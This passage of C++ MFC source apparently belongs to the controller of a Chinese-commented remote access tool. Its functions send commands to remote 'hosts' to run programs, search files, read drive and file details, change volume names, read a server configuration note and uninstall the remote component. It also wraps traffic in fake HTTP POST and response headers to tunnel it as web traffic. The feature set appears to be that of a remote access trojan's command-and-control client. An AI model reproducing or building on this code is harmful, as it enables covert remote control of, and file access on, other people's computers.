		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_MODIFYPROPERTY_SINGLE,dwResult); 
} 
 
void CFileSocket::Command_ShowProperty_Diskdrive(CString strHostName,CString strDiskDrive) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strDiskDrive.GetLength()+1+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_DISKDRIVE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,1,CMD_SHOWPROPERTY_DISKDRIVE, 
		(BYTE*)(LPCSTR)strDiskDrive,strDiskDrive.GetLength()+1); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_DISKDRIVE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(RECV_PROPERTYDISKDRIVE_INFO)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(RECV_PROPERTYDISKDRIVE_INFO)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWPROPERTY_DISKDRIVE,dwResult); 
} 
 
void CFileSocket::Command_ModifyProperty_Diskdrive(CString strHostName,CString strDiskDrive,CString strVolumeName) 
{ 
	int nVolumeNameLen=strVolumeName.GetLength(); 
	m_ArrayBuffer.SetSize(4+nVolumeNameLen+1); 
	memcpy(&m_ArrayBuffer[0],(LPCSTR)strDiskDrive,4); 
	memcpy(&m_ArrayBuffer[0]+4,(LPCSTR)strVolumeName,nVolumeNameLen+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_MODIFYPROPERTY_DISKDRIVE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_MODIFYPROPERTY_DISKDRIVE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_MODIFYPROPERTY_DISKDRIVE,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_MODIFYPROPERTY_DISKDRIVE,dwResult); 
} 
 
void CFileSocket::Command_RemoteRun(CString strHostName, 
									CString strFilename,CString strParam,int nShowCmd) 
{ 
	int nFilenameLen=strFilename.GetLength(); 
	int nParamLen=strParam.GetLength(); 
	m_ArrayBuffer.SetSize(sizeof(nShowCmd)+nFilenameLen+1+nParamLen+1); 
	memcpy(&m_ArrayBuffer[0],&nShowCmd,sizeof(nShowCmd)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(nShowCmd),(LPCSTR)strFilename,nFilenameLen+1); 
	memcpy(&m_ArrayBuffer[0]+sizeof(nShowCmd)+nFilenameLen+1,(LPCSTR)strParam,nParamLen+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTERUN,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_REMOTERUN, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTERUN,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTERUN,dwResult); 
} 
 
void CFileSocket::Command_RemoteUninstall(CString strHostName) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTEUNINSTALL,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,0,CMD_REMOTEUNINSTALL); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTEUNINSTALL,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(DWORD)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(DWORD)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_REMOTEUNINSTALL,dwResult); 
} 
 
void CFileSocket::Command_FindFile(CString strHostName,CString strFindDir, 
								   CString strFindFile,BOOL bSearchSubdir) 
{ 
	int nFindDirLen=strFindDir.GetLength(); 
	int nFindFileLen=strFindFile.GetLength(); 
	m_ArrayBuffer.SetSize(sizeof(bSearchSubdir)+nFindDirLen+1+nFindFileLen+1); 
	memcpy(&m_ArrayBuffer[0],&bSearchSubdir,sizeof(bSearchSubdir)); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bSearchSubdir),(LPCSTR)strFindDir,nFindDirLen+1); 
	memcpy(&m_ArrayBuffer[0]+sizeof(bSearchSubdir)+nFindDirLen+1,(LPCSTR)strFindFile,nFindFileLen+1); 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(m_ArrayBuffer.GetSize()+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_FINDFILE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_FINDFILE, 
		m_ArrayBuffer.GetData(),m_ArrayBuffer.GetSize()); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_FINDFILE,0); 
				return;	//失败 
			} 
		} 
 
		DWORD dwDataSize=RecvCommandDataSize(m_hConnectSocket); 
		m_ArrayBuffer.SetSize(dwDataSize); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),dwDataSize); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_FINDFILE,dwResult); 
} 
 
void CFileSocket::Command_ShowNote(CString strHostName) 
{ 
	/////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWNOTE,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,0,CMD_SHOWNOTE); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWNOTE,0); 
				return;	//失败 
			} 
		} 
 
		SERVER_CONFIG stServerConfig; 
		m_ArrayBuffer.SetSize(sizeof(stServerConfig.cNote)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(stServerConfig.cNote)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_SHOWNOTE,dwResult); 
} 
 
void CFileSocket::Command_GetFileInfo(CString strHostName,CString strFilename) 
{ 
	////////////////////////////////////// 
	if(m_nHostAttribute)//是HTTP隧道主机 
	{ 
		BOOL bSucceed=HttpTunnelSendHeader(strFilename.GetLength()+1+sizeof(DWORD)+sizeof(DWORD)); 
		if(!bSucceed) 
		{ 
			AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_GETFILEINFO,0); 
			return;	//失败 
		} 
	} 
 
	DWORD dwResult=SendCommand(m_hConnectSocket,2,CMD_GETFILEINFO, 
		(BYTE*)(LPCSTR)strFilename,strFilename.GetLength()+1); 
	if(dwResult==1) 
	{ 
		if(m_nHostAttribute)//是HTTP隧道主机 
		{ 
			BOOL bSucceed=HttpTunnelRecvHeader(); 
			if(!bSucceed) 
			{ 
				AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_GETFILEINFO,0); 
				return;	//失败 
			} 
		} 
 
		m_ArrayBuffer.SetSize(sizeof(RECV_GETFILEINFO_INFO)); 
		dwResult=RecvCommandData(m_hConnectSocket,m_ArrayBuffer.GetData(),sizeof(RECV_GETFILEINFO_INFO)); 
	} 
	AfxGetMainWnd()->PostMessage(WM_WORKTHREAD,CMD_GETFILEINFO,dwResult); 
} 
 
//////private/////////////////////////////////////////////// 
void CFileSocket::CStringToChar(char* cText,CString strText) 
{ 
	UINT nSize=strText.GetLength(); 
	memcpy(cText,strText.GetBuffer(nSize),nSize); 
} 
 
CString CFileSocket::CharToCString(char* cText,UINT nSize) 
{ 
	CString strText; 
	memcpy(strText.GetBuffer(nSize),cText,nSize); 
	strText.ReleaseBuffer(); 
	return strText; 
} 
 
void CFileSocket::CreateMultilevelDir(CString strDirName) 
{ 
	if(strDirName.GetAt(strDirName.GetLength()-1)!='\\') 
		strDirName+="\\"; 
	CString strTemp=strDirName; 
	while(1) 
	{ 
		int nCount=strTemp.Find("\\"); 
		if(nCount!=-1) 
		{ 
			CString strDir=strDirName.Mid(0,nCount+1); 
			CreateDirectory(strDir,NULL); 
			strTemp.SetAt(nCount,'|'); 
		} 
		else 
			break; 
	} 
} 
 
//************************************************************************// 
int	CFileSocket::SendCommand(SOCKET hSocket,int nControlCode,DWORD dwCommand,BYTE* byBuf,DWORD dwBufSize,BOOL bProgress) 
{ 
	DWORD dwSendBufSize; 
	BYTE* SendBuf; 
	switch(nControlCode) 
	{ 
		case 0:	//只发送命令 
		{ 
			dwSendBufSize=sizeof(dwCommand); 
			SendBuf=new BYTE[dwSendBufSize]; 
			memcpy(SendBuf,&dwCommand,sizeof(dwCommand)); 
			break; 
		} 
		case 1:	//发送命令与参数 
		{ 
			dwSendBufSize=sizeof(dwCommand)+dwBufSize; 
			SendBuf=new BYTE[dwSendBufSize]; 
			memcpy(SendBuf,&dwCommand,sizeof(dwCommand)); 
			memcpy(SendBuf+sizeof(dwCommand),byBuf,dwBufSize); 
			break; 
		} 
		case 2:	//发送命令,参数大小和参数 
		{ 
			dwSendBufSize=sizeof(dwCommand)+sizeof(dwBufSize)+dwBufSize; 
			SendBuf=new BYTE[dwSendBufSize]; 
			memcpy(SendBuf,&dwCommand,sizeof(dwCommand)); 
			memcpy(SendBuf+sizeof(dwCommand),&dwBufSize,sizeof(dwBufSize)); 
			memcpy(SendBuf+sizeof(dwCommand)+sizeof(dwBufSize),byBuf,dwBufSize); 
			break; 
		} 
		case 3:	//只发送参数 
		{ 
			dwSendBufSize=dwBufSize; 
			SendBuf=byBuf; 
			break; 
		} 
	} 
 
	while(1) 
	{ 
		int nRet=send(m_hConnectSocket,(char*)SendBuf,dwSendBufSize,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
			{ 
				if(nControlCode!=3) 
					delete[] SendBuf; 
				return 0;	//失败 
			} 
		} 
		else 
			break;	//成功 
	} 
	if(bProgress) 
		m_pProgress->OffsetPos(PROGRESS_RANGE/3); 
	if(nControlCode!=3) 
		delete[] SendBuf; 
 
	return 1; 
} 
 
DWORD CFileSocket::RecvCommandDataSize(SOCKET hSocket) 
{ 
	DWORD dwBufSize; 
	while(1) 
	{ 
		int nRet=recv(m_hConnectSocket,(char*)&dwBufSize,sizeof(dwBufSize),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue;	//阻塞,继续 
			} 
			else 
				return 0;	//失败 
		} 
		else 
			break;	//成功 
	} 
	return dwBufSize; 
} 
 
int	CFileSocket::RecvCommandData(SOCKET hSocket,BYTE* byBuf,DWORD dwBufSize,BOOL bProgress) 
{ 
	DWORD dwLeft=dwBufSize; 
	DWORD dwPoint=0; 
	while(dwLeft>0) 
	{ 
		int nRet=recv(m_hConnectSocket,(char*)byBuf+dwPoint,dwLeft,NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
				return 0; 
		} 
		dwPoint+=nRet; 
		dwLeft-=nRet; 
	} 
	if(bProgress) 
		m_pProgress->OffsetPos(PROGRESS_RANGE/3); 
	return 1; 
} 
 
//////////////////////////////////////////////////////////////// 
BOOL CFileSocket::HttpTunnelSendHeader(DWORD dwDataSize)//发送HTTP头 
{ 
	CString strHttpResponseHeader; 
	strHttpResponseHeader.Format(HTTP_RESPONSE_HEADER,dwDataSize); 
 
	while(1) 
	{ 
		int nRet=send(m_hConnectSocket,strHttpResponseHeader.GetBuffer(strHttpResponseHeader.GetLength()),strHttpResponseHeader.GetLength(),NULL); 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
				return FALSE;	//失败 
		} 
		else 
			break;	//成功 
	} 
	return TRUE; 
} 
 
BOOL CFileSocket::HttpTunnelRecvHeader()//接收HTTP头 
{ 
	SOCKADDR_IN clientaddr; 
	int len=sizeof(clientaddr); 
 
	closesocket(m_hConnectSocket);//关闭上一次的连接Socket 
	while(1) 
	{ 
		m_hConnectSocket=accept(m_hListenSocket,(SOCKADDR*)&clientaddr,&len); 
		if(m_hConnectSocket==INVALID_SOCKET) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
				return FALSE;	//失败 
		} 
		else 
			break;	//成功 
	} 
	////////////////////////////////////////////////////////// 
	BYTE byBuffer[1024]; 
	int nRet; 
 
	while(1)//接收POST请求,即HTTP头 
	{ 
		ZeroMemory(byBuffer,sizeof(byBuffer)); 
 
		nRet=recv(m_hConnectSocket,(char*)&byBuffer,sizeof(byBuffer),MSG_PEEK);//只是复制出来 
		if(nRet==SOCKET_ERROR) 
		{ 
			if(WSAGetLastError()==WSAEWOULDBLOCK) 
			{ 
				Sleep(50); 
				continue; 
			} 
			else 
				return FALSE;	//失败 
		} 
		else 
		{ 
			//是以0x0D 0x0A结尾,但不是0x0D 0x0A 0x0D 0x0A 
			if(byBuffer[nRet-2]==0x0D && byBuffer[nRet-1]==0x0A && byBuffer[nRet-4]!=0x0D && byBuffer[nRet-3]!=0x0A) 
			{ 
				//是HTTP头,而不是数据 
				if(byBuffer[0]=='P' && byBuffer[1]=='O' && byBuffer[2]=='S' && byBuffer[3]=='T') 
				{ 
					//数据中不含0x0D 0x0A 0x0D 0x0A,也就是说它不是HTTP头+数据的情况 
					CString strBuffer; 
					memcpy(strBuffer.GetBufferSetLength(nRet),byBuffer,nRet); 
					strBuffer.ReleaseBuffer(nRet); 
 
					int nPos=strBuffer.Find("\r\n\r\n"); 
					if(nPos==-1) 
					{ 
						recv(m_hConnectSocket,(char*)&byBuffer,nRet,NULL);//把这一行头接收回来,即从接收缓冲区中清掉 
						continue; 
					} 
				}			 
			} 
			break;	//成功 
		} 
	} 
 
	CString strBuffer; 
	memcpy(strBuffer.GetBufferSetLength(nRet),byBuffer,nRet); 
	strBuffer.ReleaseBuffer(nRet); 
 
	int nPos=strBuffer.Find("\r\n\r\n"); 
	if(nPos==-1)//可能是特殊情况 
	{ 
		nPos=strBuffer.Find("\r\n"); 
		if(nPos==-1)//怎么可能找不到,返回失败吧 
			return FALSE; 
		else 
			nPos=-2; 
	} 
 
	recv(m_hConnectSocket,(char*)&byBuffer,nPos+4,NULL);//将HTTP头收回来 
 
	return TRUE; 
}